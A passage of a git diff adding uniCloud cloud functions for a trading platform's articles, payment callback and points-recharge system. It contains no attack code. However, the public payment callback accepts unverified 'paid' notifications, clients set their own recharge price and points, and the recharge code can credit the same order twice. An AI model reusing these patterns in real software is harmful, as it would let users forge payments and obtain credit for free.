+ let { uid } = data;
+ let res = { code : 0, msg : '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ // 可写与数据库的交互逻辑等等
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/category/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/category/pub/getList.js
new file mode 100644
index 0000000..13fa05e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/category/pub/getList.js
@@ -0,0 +1,31 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/otherArticle/category/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: 'jjx-other-article-category',
+ getCount: true,
+ pageIndex,
+ pageSize,
+ sortArr: [
+ {name: "sort", type: "asc"},
+ {name: "_id", type: "desc"},
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/addViewNum.js b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/addViewNum.js
new file mode 100644
index 0000000..29c967c
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/addViewNum.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/otherArticle/list/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ await vk.baseDao.updateById({
+ dbName: 'jjx-other-article',
+ dataJson: {
+ viewNum: _.inc(1)
+ },
+ id: data._id
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/getDetail.js
new file mode 100644
index 0000000..ca35a92
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/getDetail.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/otherArticle/list/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findById({
+ dbName: "jjx-other-article",
+ id: data.id,
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/getList.js
new file mode 100644
index 0000000..0d1dbec
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/otherArticle/list/pub/getList.js
@@ -0,0 +1,40 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/otherArticle/list/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize, parentId} = data
+ const whereJson = {}
+ if (vk.pubfn.isNotNull(parentId)){
+ if (Array.isArray(parentId)) {
+ whereJson.parentId = _.in(parentId)
+ } else {
+ whereJson.parentId = parentId
+ }
+ }
+ res = await vk.baseDao.select({
+ dbName: 'jjx-other-article',
+ getCount: true,
+ pageIndex,
+ pageSize,
+ whereJson,
+ sortArr: [
+ {name: "sort", type: "asc"},
+ {name: "_add_time", type: "desc"}
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/payment.js b/uniCloud-tcb/cloudfunctions/router/service/client/payment.js
new file mode 100644
index 0000000..0d07e87
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/payment.js
@@ -0,0 +1,757 @@
+'use strict';
+const dayjs = require("dayjs");
+const {
+ BALANCE_DOC_ID,
+ normalizeAmount
+} = require("../admin/finance/balance/sys/util.js");
+const notaryPay = require("./order/kh/util/notaryPay");
+var vk; // 全局vk实例
+const orderTypeList = [
+ '商城订单',
+ '金久信自营增值服务',
+ '保证金',
+ '会员升级',
+ '询价订单',
+ '加工订单',
+ '旧货订单',
+ '报价次数',
+ '现货广告',
+ '旧货加急',
+ '旧货次数',
+ '金久信学堂下载次数',
+ '司法调证',
+ '金久信签约宝次数',
+ '金久信自营询价',
+ '',
+ '',
+ '',
+ '',
+ 'AI积分充值'
+];
+// 涉及的表名
+const dbName = {
+ //test: "vk-test", // 测试表
+};
+
+var db = uniCloud.database(); // 全局数据库引用
+var _ = db.command; // 数据库操作符
+var $ = _.aggregate; // 聚合查询操作符
+
+function pickFirstDefined() {
+ for (let i = 0; i < arguments.length; i++) {
+ const value = arguments[i];
+ if (value !== undefined && value !== null && value !== '') {
+ return value;
+ }
+ }
+ return undefined;
+}
+
+function toFenAmount(value) {
+ const amount = Number(value);
+ if (!Number.isFinite(amount)) {
+ throw new Error(`支付金额格式不正确: ${value}`);
+ }
+ return Number((amount / 100).toFixed(2));
+}
+
+/**
+ * 权限注意:访问以下链接查看
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#内置权限
+ */
+var cloudObject = {
+ isCloudObject: true, // 标记为云对象模式
+ /**
+ * 请求前处理,主要用于调用方法之前进行预处理,一般用于拦截器、统一的身份验证、参数校验、定义全局对象等。
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#before-预处理
+ */
+ _before: async function() {
+ vk = this.vk; // 将vk定义为全局对象
+ // let { customUtil, uniID, config, pubFun } = this.getUtil(); // 获取工具包
+ },
+ /**
+ * 请求后处理,主要用于处理本次调用方法的返回结果或者抛出的错误
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#after-后处理
+ */
+ _after: async function(options) {
+ let {
+ err,
+ res
+ } = options;
+ if (err) {
+ return; // 如果方法抛出错误,直接return;不处理
+ }
+ return res;
+ },
+ /**
+ * 获取列表
+ * @url client/payment.getList 前端调用的url参数地址
+ */
+ pub_payNotify: async function(data) {
+ console.log("=== 支付回调触发 ===", JSON.stringify(data));
+ console.log("订单号:", data.billNo || data.merOrderId);
+ console.log("支付状态:", data.billStatus);
+ let res = {
+ code: 0,
+ msg: ''
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("pay notify data", data)
+ let orderNo = data.billNo
+ if (!orderNo) orderNo = data.merOrderId
+ let payTime = null,
+ payAmount = null,
+ payNo = null
+ if (data.billPayment) {
+ const billPayment = JSON.parse(data.billPayment)
+ payTime = pickFirstDefined(billPayment.payTime, data.payTime, data.createTime)
+ payAmount = toFenAmount(pickFirstDefined(billPayment.receiptAmount, billPayment.totalAmount, data
+ .receiptAmount, data.totalAmount))
+ payNo = pickFirstDefined(billPayment.paySeqId, billPayment.seqId, data.seqId, data.targetOrderId)
+ } else {
+ payTime = pickFirstDefined(data.payTime, data.createTime)
+ payAmount = toFenAmount(pickFirstDefined(data.receiptAmount, data.totalAmount))
+ payNo = pickFirstDefined(data.seqId, data.targetOrderId)
+ }
+ const isPaid = data.billStatus === 'PAID' || data.status === 'TRADE_SUCCESS'
+
+ const payRecord = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderNo
+ }
+ });
+ if (payRecord && isPaid) {
+ const order = await vk.baseDao.findById({
+ dbName: "jjx-order",
+ id: payRecord.orderId
+ });
+ if (!payRecord.hasPaid) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: payRecord._id,
+ dataJson: {
+ hasPaid: true,
+ paidAt: payTime,
+ payAmount,
+ payNo,
+ paidVoucher: "",
+ buyerRemark: payRecord.isNotaryFullPay ? "公证支付" : payRecord.buyerRemark,
+ sellerConfirm: payRecord.isNotaryFullPay ? true : payRecord.sellerConfirm,
+ confirmAt: payRecord.isNotaryFullPay ? payTime : payRecord.confirmAt,
+ payNotifyData: data
+ }
+ });
+ if (payRecord.isNotaryFullPay) {
+ await notaryPay.notifyPaySuccess({
+ vk,
+ payRecord,
+ order
+ });
+ }
+ }
+ if (order) {
+ const orderUpdate = {
+ orderStatus: order.orderStatus > 0 ? order.orderStatus : 1,
+ payTime,
+ payAmount,
+ payNo,
+ };
+ if (payRecord.isNotaryFullPay) {
+ orderUpdate.notaryPayStatus = 1;
+ orderUpdate.notaryPaidAt = payTime;
+ orderUpdate.notaryPaidAmount = payAmount;
+ orderUpdate.notaryPayListId = payRecord._id;
+ orderUpdate.notaryPayOrderNo = orderNo;
+ orderUpdate.payStatus = 2;
+ }
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: orderUpdate
+ });
+ }
+ return res;
+ }
+
+ let order = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order",
+ whereJson: {
+ orderNo
+ }
+ });
+
+ // type 0: 商品
+ // type 1: 自营
+ // type 2: 保证金
+ // type 3: 会员升级
+ // type 7: 询价次数
+
+ // orderStatus 0待支付 1已支付待发货 2已发货待收货 3已收货待完成 4已完成 5退款审核中 6退款成功 7退款失败
+ if (order && order.orderStatus === 0 && isPaid) {
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 1,
+ payTime,
+ payAmount,
+ payNo,
+ }
+ });
+
+ if (![4, 5, 6].includes(order.type)) {
+ const incomeAmount = normalizeAmount(payAmount);
+ const orderTypeName = orderTypeList[order.type] || `类型${order.type}`;
+ const balanceInfo = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-balance",
+ whereJson: {
+ _id: BALANCE_DOC_ID
+ }
+ });
+ if (!balanceInfo) {
+ throw new Error(`jjx-balance余额记录不存在: ${BALANCE_DOC_ID}`);
+ }
+
+ await vk.baseDao.add({
+ dbName: "jjx-balance-log",
+ dataJson: {
+ description: `${orderTypeName}-订单支付入账-${order.orderNo}`,
+ amount: incomeAmount,
+ type: "income",
+ logTime: payTime ? new Date(payTime).getTime() : Date.now(),
+ operatorId: order.uid || "",
+ source: "order_pay",
+ orderId: order._id,
+ orderNo: order.orderNo
+ }
+ });
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-balance",
+ id: BALANCE_DOC_ID,
+ dataJson: {
+ balance: _.inc(incomeAmount),
+ _update_time: Date.now()
+ }
+ });
+ }
+
+ if ([2, 3, 11, 12, 13,20].includes(order.type)) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+ }
+
+ if (order.type === 0) {
+ const goodsList = await vk.baseDao.select({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ for (let i = 0; i < goodsList.rows.length; i++) {
+ const orderGoods = goodsList.rows[i];
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-goods",
+ whereJson: {
+ _id: orderGoods.goodsId,
+ }
+ });
+ if (!goods.sales) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-goods",
+ id: orderGoods.goodsId,
+ dataJson: {
+ sales: 1,
+ }
+ });
+ } else {
+ await vk.baseDao.updateById({
+ dbName: "jjx-goods",
+ id: orderGoods.goodsId,
+ dataJson: {
+ sales: _.inc(1),
+ }
+ })
+ }
+ }
+ }
+ if (order.type === 2) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: order.uid,
+ }
+ });
+ if (!user.paidEnsure) {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ paidEnsure: goods.goodsPrice,
+ }
+ });
+ } else {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ paidEnsure: _.inc(goods.goodsPrice),
+ }
+ });
+ }
+ } else if (order.type === 3) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const userLevelConfig = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: goods.goodsId,
+ }
+ });
+ let paidEnsure = 0
+ if (goods.goodsId === 3) {
+ paidEnsure = [50000, 100000, 200000][order.ensureIndex]
+ }
+ const dataJson = {
+ userLevel: goods.goodsId,
+ userGrade: 0,
+ upgradeExpiredAt: vk.pubfn.getOffsetTime(new Date(), {
+ year: 1,
+ mode: "after",
+ }),
+ paidEnsure: _.inc(paidEnsure),
+ }
+ if (userLevelConfig.ensureAmount && userLevelConfig.ensureAmount > 0) {
+ dataJson.paidEnsure = _.inc(userLevelConfig.ensureAmount)
+ }
+ const user = await vk.baseDao.updateAndReturn({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: order.uid,
+ },
+ dataJson
+ });
+ const messageConfig = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ dataJson: {
+ uid: order.uid
+ }
+ });
+
+ if (!messageConfig) {
+ await vk.baseDao.add({
+ dbName: "jjx-message-config",
+ dataJson: {
+ uid: order.uid,
+ article: true,
+ process: true,
+ old: true,
+ enquiry: true,
+ productList: [],
+ addressRegion: {}
+ }
+ })
+ }
+ } else if (order.type === 7) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ // 单次
+ if (goods.goodsId === '6587b034466d41a591df881c') {
+ // 仅针对单条询价次数
+ if (goods.isSingleQuote) {
+ const checkData = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-quote-num",
+ whereJson: {
+ uid: order.uid,
+ type: goods.type,
+ sheetId: goods.sheetId,
+ }
+ });
+ await vk.baseDao.add({
+ dbName: "jjx-user-quote-num",
+ dataJson: {
+ num: checkData ? _.inc(1) : 1,
+ type: goods.type,
+ sheetId: goods.sheetId,
+ uid: order.uid,
+ }
+ });
+ } else {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ remainQuoteNum: _.inc(1)
+ }
+ });
+ }
+ } else {
+ const amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-quote-num-config',
+ id: goods.goodsId
+ })
+ const user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: order.uid
+ });
+ let quoteExpiredAt = vk.pubfn.getOffsetTime(new Date(), {
+ day: amountItem.day,
+ mode: "after",
+ })
+ if (user.quoteExpiredAt) {
+ if (dayjs(user.quoteExpiredAt).isAfter(dayjs())) {
+ vk.pubfn.getOffsetTime(dayjs(user.quoteExpiredAt).toDate(), {
+ day: amountItem.day,
+ mode: "after",
+ })
+ }
+ }
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ quoteExpiredAt
+ }
+ });
+ }
+ } else if (order.type === 8) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+
+ const hasData = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-spot-ad",
+ whereJson: {
+ uid: order.uid,
+ province: goods.goodsId
+ }
+ })
+
+ let topExpiredAt = vk.pubfn.getOffsetTime(new Date(), {
+ month: goods.num,
+ mode: "after",
+ })
+
+ if (!hasData) {
+ await vk.baseDao.add({
+ dbName: "jjx-spot-ad",
+ dataJson: {
+ uid: order.uid,
+ province: goods.goodsId,
+ topExpiredAt
+ }
+ })
+ } else {
+ topExpiredAt = vk.pubfn.getOffsetTime(hasData.topExpiredAt, {
+ month: goods.num,
+ mode: "after",
+ })
+ await vk.baseDao.updateById({
+ dbName: "jjx-spot-ad",
+ id: hasData._id,
+ dataJson: {
+ topExpiredAt
+ }
+ })
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-spot-goods",
+ id: goods.pk,
+ dataJson: {
+ topExpiredAt
+ }
+ });
+ } else if (order.type === 9) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-old",
+ id: goods.goodsId,
+ dataJson: {
+ isUrgent: true
+ }
+ })
+ } else if (order.type === 10) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ remainOldNum: _.inc(1)
+ }
+ });
+ } else if (order.type === 11) {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ remainArticleDownloadNum: _.inc(1)
+ }
+ });
+ } else if (order.type === 12) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const contract = await vk.baseDao.findById({
+ dbName: "jjx-contract",
+ id: goods.goodsId
+ });
+ const canDownloadUidList = []
+ if (!contract.canDownloadUidList) {
+ canDownloadUidList.push(order.uid)
+ } else {
+ canDownloadUidList.push(...contract.canDownloadUidList, order.uid)
+ }
+ await vk.baseDao.updateById({
+ dbName: "jjx-contract",
+ id: goods.goodsId,
+ dataJson: {
+ canDownloadUidList
+ }
+ });
+ await vk.baseDao.update({
+ dbName: "jjx-certificate",
+ whereJson: {
+ contractId: goods.goodsId
+ },
+ dataJson: {
+ status: 1,
+ paidConfirm: true
+ }
+ });
+
+ const certificate = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-certificate",
+ whereJson: {
+ contractId: goods.goodsId,
+ uid: order.uid
+ }
+ });
+ if (certificate.invoiceTypes !== 'none') {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ isInvoice: 1,
+ name: certificate.companyName,
+ code: certificate.taxNumber,
+ phone: certificate.phone,
+ }
+ });
+ }
+
+ } else if (order.type === 13) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const qyb = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-qyb",
+ whereJson: {
+ _id: goods.goodsId
+ }
+ });
+ const user = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: order.uid,
+ }
+ });
+ const remainNum = user.qybNum + qyb.getNum;
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ qybNum: _.inc(qyb.getNum)
+ }
+ });
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ remainNum
+ }
+ });
+ } else if (order.type === 20) {
+ // 积分充值到账
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id
+ }
+ });
+ if (goods) {
+ const points = parseInt(goods.goodsName.replace('积分充值_', '').replace('积分', ''));
+ if (points > 0) {
+ // 增加积分余额
+ const userPoints = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-points",
+ whereJson: {
+ _id: order.uid
+ }
+ });
+ if (userPoints) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-user-points",
+ id: order.uid,
+ dataJson: {
+ balance: _.inc(points),
+ total_earned: _.inc(points),
+ update_time: new Date()
+ }
+ });
+ } else {
+ await vk.baseDao.add({
+ dbName: "jjx-user-points",
+ dataJson: {
+ _id: order.uid,
+ balance: points,
+ total_earned: points,
+ total_spent: 0,
+ gift: 0,
+ update_time: new Date()
+ }
+ });
+ }
+ // 记录流水
+ const updatedPoints = await vk.baseDao.findById({
+ dbName: "jjx-user-points",
+ id: order.uid
+ });
+ await vk.baseDao.add({
+ dbName: "jjx-points-log",
+ dataJson: {
+ user_id: order.uid,
+ type: 'earn',
+ amount: points,
+ balance_after: updatedPoints ? updatedPoints.balance : points,
+ reason: '积分充值(' + order.offAmount + '元)',
+ biz_type: 'recharge',
+ biz_id: order._id,
+ _add_time: new Date()
+ }
+ });
+ }
+ }
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+ }
+ }
+ if (!order) {
+ console.log('order not found')
+ order = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderNo
+ }
+ });
+ console.log('pay list order data', order)
+ if (order && !order.sellerConfirm && (data.billStatus === 'PAID' || data.status ===
+ 'TRADE_SUCCESS')) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: order._id,
+ dataJson: {
+ // sellerConfirm: true,
+ hasPaid: true,
+ paidAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ // confirmAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ }
+ });
+ }
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+ /**
+ * 模板函数
+ * @url client/payment.test 前端调用的url参数地址
+ */
+ test: async function(data) {
+ let res = {
+ code: 0,
+ msg: ''
+ };
+ let {
+ uid
+ } = this.getClientInfo(); // 获取客户端信息
+ // 业务逻辑开始-----------------------------------------------------------
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+};
+
+module.exports = cloudObject;
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/createOrder.js b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/createOrder.js
new file mode 100644
index 0000000..576481a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/createOrder.js
@@ -0,0 +1,39 @@
+//创建积分充值订单
+module.exports = {
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { vk, db, _ } = util;
+ const { points, price } = data; // points=积分数量 price=价格(分→元)
+
+ const amount = price / 100; // 分转元
+ const offAmount = amount;
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid: userInfo.uid,
+ orderStatus: 0,
+ type: 20, // 20=积分充值
+ amount,
+ offAmount,
+ saveAmount: 0,
+ offRate: 100,
+ }
+ });
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: 'points_recharge',
+ num: 1,
+ goodsName: `积分充值_${points}积分`,
+ goodsPrice: amount,
+ goodsCover: null,
+ }
+ });
+
+ return { code: 0, msg: 'ok', data: orderId };
+ }
+};
+
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/deduct.js b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/deduct.js
new file mode 100644
index 0000000..d91c361
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/deduct.js
@@ -0,0 +1,47 @@
+//扣积分(合同审查用)
+module.exports = {
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { db, _ } = util;
+ const { amount, reason, biz_type, biz_id } = data;
+
+ if (!amount || amount <= 0) {
+ return { code: -1, msg: '扣减数量无效' };
+ }
+
+ // 查余额
+ const userRes = await db.collection('jjx-user-points').doc(userInfo.uid).get();
+ if (!userRes.data.length) {
+ return { code: -1, msg: '积分账户不存在,请先获取积分' };
+ }
+
+ const currentBalance = userRes.data[0].balance;
+ if (currentBalance < amount) {
+ return { code: -1, msg: '积分不足', data: { balance: currentBalance, needed: amount } };
+ }
+
+ const newBalance = currentBalance - amount;
+
+ // 扣减余额
+ await db.collection('jjx-user-points').doc(userInfo.uid).update({
+ balance: newBalance,
+ total_spent: _.inc(amount),
+ update_time: new Date()
+ });
+
+ // 记录流水
+ await db.collection('jjx-points-log').add({
+ user_id: userInfo.uid,
+ type: 'spend',
+ amount: -amount,
+ balance_after: newBalance,
+ reason: reason || '积分消耗',
+ biz_type: biz_type || 'other',
+ biz_id: biz_id || '',
+ _add_time: new Date()
+ });
+
+ return { code: 0, msg: 'ok', data: { balance: newBalance } };
+ }
+};
+
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/getBalance.js b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/getBalance.js
new file mode 100644
index 0000000..7d39a54
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/getBalance.js
@@ -0,0 +1,37 @@
+// 获取积分余额
+module.exports = {
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { db, _ } = util;
+ //默认积分500
+ let amount = 500;
+
+ const res = await db.collection('jjx-user-points').doc(userInfo.uid).get();
+
+ if (res.data.length === 0) {
+ // 新用户,自动赠送 500 积分
+ await db.collection('jjx-user-points').add({
+ _id: userInfo.uid,
+ balance: amount,
+ total_earned: amount,
+ total_spent: 0,
+ gift: amount,
+ update_time: new Date()
+ });
+
+ await db.collection('jjx-points-log').add({
+ user_id: userInfo.uid,
+ type: 'earn',
+ amount: amount,
+ balance_after: amount,
+ reason: '新用户注册赠送',
+ biz_type: 'gift',
+ _add_time: new Date()
+ });
+
+ return { code: 0, msg: 'ok', data: { balance: amount, total_earned: amount, total_spent: 0, gift: amount } };
+ }
+
+ return { code: 0, msg: 'ok', data: res.data[0] };
+ }
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/getLog.js b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/getLog.js
new file mode 100644
index 0000000..b9d7e61
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/getLog.js
@@ -0,0 +1,40 @@
+//查询积分流水
+module.exports = {
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { vk, db, _ } = util;
+ const { pageIndex = 1, pageSize = 50, biz_type } = data;
+
+ console.log('getLog uid:', userInfo.uid);
+
+ // 先查全部看看有没有数据
+ const allRes = await db.collection('jjx-points-log').limit(5).get();
+ console.log('getLog all data count:', allRes.data.length);
+ if (allRes.data.length > 0) {
+ console.log('getLog first record:', JSON.stringify(allRes.data[0]));
+ }
+
+ const where = { user_id: userInfo.uid };
+ if (biz_type) where.biz_type = biz_type;
+
+ const countRes = await db.collection('jjx-points-log').where(where).count();
+ console.log('getLog filtered count:', countRes.total);
+
+ const listRes = await db.collection('jjx-points-log')
+ .where(where)
+ .orderBy('_add_time', 'desc')
+ .skip((pageIndex - 1) * pageSize)
+ .limit(pageSize)
+ .get();
+
+ return {
+ code: 0,
+ msg: 'ok',
+ data: {
+ total: countRes.total,
+ rows: listRes.data
+ }
+ };
+ }
+};
+
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/recharge.js b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/recharge.js
new file mode 100644
index 0000000..0a10527
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/points/kh/recharge.js
@@ -0,0 +1,55 @@
+//积分充值
+module.exports = {
+ main: async (event) => {
+ let { data = {}, userInfo, util } = event;
+ let { db, _ } = util;
+ const { order_id } = data;
+
+ if (!order_id) {
+ return { code: -1, msg: '缺少订单ID' };
+ }
+
+ // 查订单
+ const orderRes = await db.collection('vk-pay-orders').doc(order_id).get();
+ if (!orderRes.data.length) {
+ return { code: -1, msg: '订单不存在' };
+ }
+
+ const order = orderRes.data[0];
+ if (order.status !== 1) {
+ return { code: -1, msg: '订单未支付' };
+ }
+
+ // 解析充值积分数量
+ const attachedData = JSON.parse(order.attached_data || '{}');
+ const points = attachedData.points;
+ if (!points) {
+ return { code: -1, msg: '订单数据异常' };
+ }
+
+ // 增加余额
+ await db.collection('jjx-user-points').doc(userInfo.uid).update({
+ balance: _.inc(points),
+ total_earned: _.inc(points),
+ update_time: new Date()
+ });
+
+ // 查最新余额
+ const userRes = await db.collection('jjx-user-points').doc(userInfo.uid).get();
+ const balance = userRes.data[0].balance;
+
+ // 记录流水
+ await db.collection('jjx-points-log').add({
